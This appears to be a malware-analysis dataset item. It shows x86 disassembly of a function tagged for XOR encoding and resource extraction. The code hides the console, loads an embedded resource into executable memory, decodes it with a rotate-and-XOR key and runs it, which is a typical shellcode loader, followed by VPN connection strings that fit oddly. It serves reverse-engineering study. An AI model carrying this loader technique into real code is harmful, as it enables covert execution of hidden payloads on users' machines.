Function at 0x4031d0
Capabilities:
Encode data using xor
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
push ebx
push esi
push edi
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.VirtualAlloc
push str.Kernel32.dll
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0xa
push 0x1c7
push edi
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ebx, eax
test ebx, ebx
je 0x4034e2
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push ebx
push edi
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
mov eax, dword [ebp - 4]
test eax, eax
je 0x4034e2
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push 0x40
push 0x1000
push edi
push esi
mov dword [ebp - 4], eax
call dword [ebp - 0xc]
mov ebx, eax
mov dword [ebp - 0xc], ebx
test ebx, ebx
je 0x4034e2
push edi
push dword [ebp - 4]
push ebx
call fcn.0041fc30
push 0x2faf080
call fcn.0042b555
add esp, 0x10
mov dword [ebp - 4], eax
test eax, eax
je 0x4034e2
push 0x2faf080
push 0xff
push eax
call fcn.004201b0
add esp, 0xc
xor ecx, ecx
test edi, edi
je 0x4032c3
mov al, byte [ebx + ecx]
ror al, 3
xor al, byte [esi + str.wnsbcbaefsske]
mov byte [ebx + ecx], al
lea eax, [esi + 1]
mov esi, 0xd
cdq
idiv esi
inc ecx
mov esi, edx
cmp ecx, edi
jb 0x4032a2
mov eax, dword [ebp - 0xc]
call eax
push dword [ebp - 4]
call fcn.0042b53a
add esp, 4
mov dword [ebp - 0x18], 0
lea eax, [ebp - 0x18]
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
push eax
call fcn.00401e20
mov ebx, dword [ebp - 0x18]
mov esi, ebx
mov edi, dword [ebp - 0x14]
cmp ebx, edi
je 0x403370
nop dword [eax]
push esi
push 0x4769e0
call fcn.004010d0
mov ebx, eax
mov ecx, dword [ebx]
mov ecx, dword [ecx + 4]
mov ecx, dword [ecx + ebx + 0x30]
mov edi, dword [ecx + 4]
mov ecx, edi
mov dword [ebp - 4], edi
mov edx, dword [edi]
call dword [edx + 4]
lea eax, [ebp - 8]
push eax
call fcn.004015c0
mov edx, dword [edi]
add esp, 4
mov ecx, edi
mov dword [ebp - 0xc], eax
call dword [edx + 8]
test eax, eax
je 0x403345
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
mov ecx, dword [ebp - 0xc]
push 0xa
mov eax, dword [ecx]
mov eax, dword [eax + 0x20]
call eax
movzx eax, al
mov ecx, ebx
push eax
call fcn.00402f20
mov ecx, ebx
call fcn.00402cf0
mov edi, dword [ebp - 0x14]
add esi, 0x18
cmp esi, edi
jne 0x403300
mov ebx, dword [ebp - 0x18]
push 5
push str.MyVPN
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x1c], 0xf
mov dword [ebp - 0x20], 0
mov byte [ebp - 0x30], 0
call fcn.00402900
push 0xf
push str.vpn.example.com
lea ecx, [ebp - 0x78]
mov dword [ebp - 0x64], 0xf
mov dword [ebp - 0x68], 0
mov byte [ebp - 0x78], 0
call fcn.00402900
push 4
push str.user
lea ecx, [ebp - 0x60]
mov dword [ebp - 0x4c], 0xf
mov dword [ebp - 0x50], 0
mov byte [ebp - 0x60], 0
call fcn.00402900
push 4
push str.pass
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x34], 0xf
mov dword [ebp - 0x38], 0
mov byte [ebp - 0x48], 0
call fcn.00402900
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x30]
push eax
call fcn.00401d70
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x30]
push eax
call fcn.00401cc0
push 0
call 0x400000
mov eax, dword [ebp - 0x34]
cmp eax, 0x10
jb 0x40342d
push 1
inc eax
push eax
push dword [ebp - 0x48]
call fcn.004020f0
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x34], 0xf
mov dword [ebp - 0x38], 0
mov byte [ebp - 0x48], 0
cmp eax, 0x10
jb 0x403453
push 1
inc eax
push eax
push dword [ebp - 0x60]
call fcn.004020f0
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x4c], 0xf
mov dword [ebp - 0x50], 0
mov byte [ebp - 0x60], 0
cmp eax, 0x10
jb 0x403479
push 1
inc eax
push eax
push dword [ebp - 0x78]
call fcn.004020f0
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x64], 0xf
mov dword [ebp - 0x68], 0
mov byte [ebp - 0x78], 0
cmp eax, 0x10
jb 0x40349f
push 1
inc eax
push eax
push dword [ebp - 0x30]
call fcn.004020f0
mov dword [ebp - 0x1c], 0xf
mov dword [ebp - 0x20], 0
mov byte [ebp - 0x30], 0
test ebx, ebx
je 0x4034e2
push dword [ebp - 0xc]
lea eax, [ebp - 0x18]
push eax
push edi
push ebx
call fcn.00401370
mov ecx, dword [ebp - 0x10]
mov eax, 0x2aaaaaab
sub ecx, ebx
imul ecx
push 0x18
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
push eax
push ebx
call fcn.004020f0
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret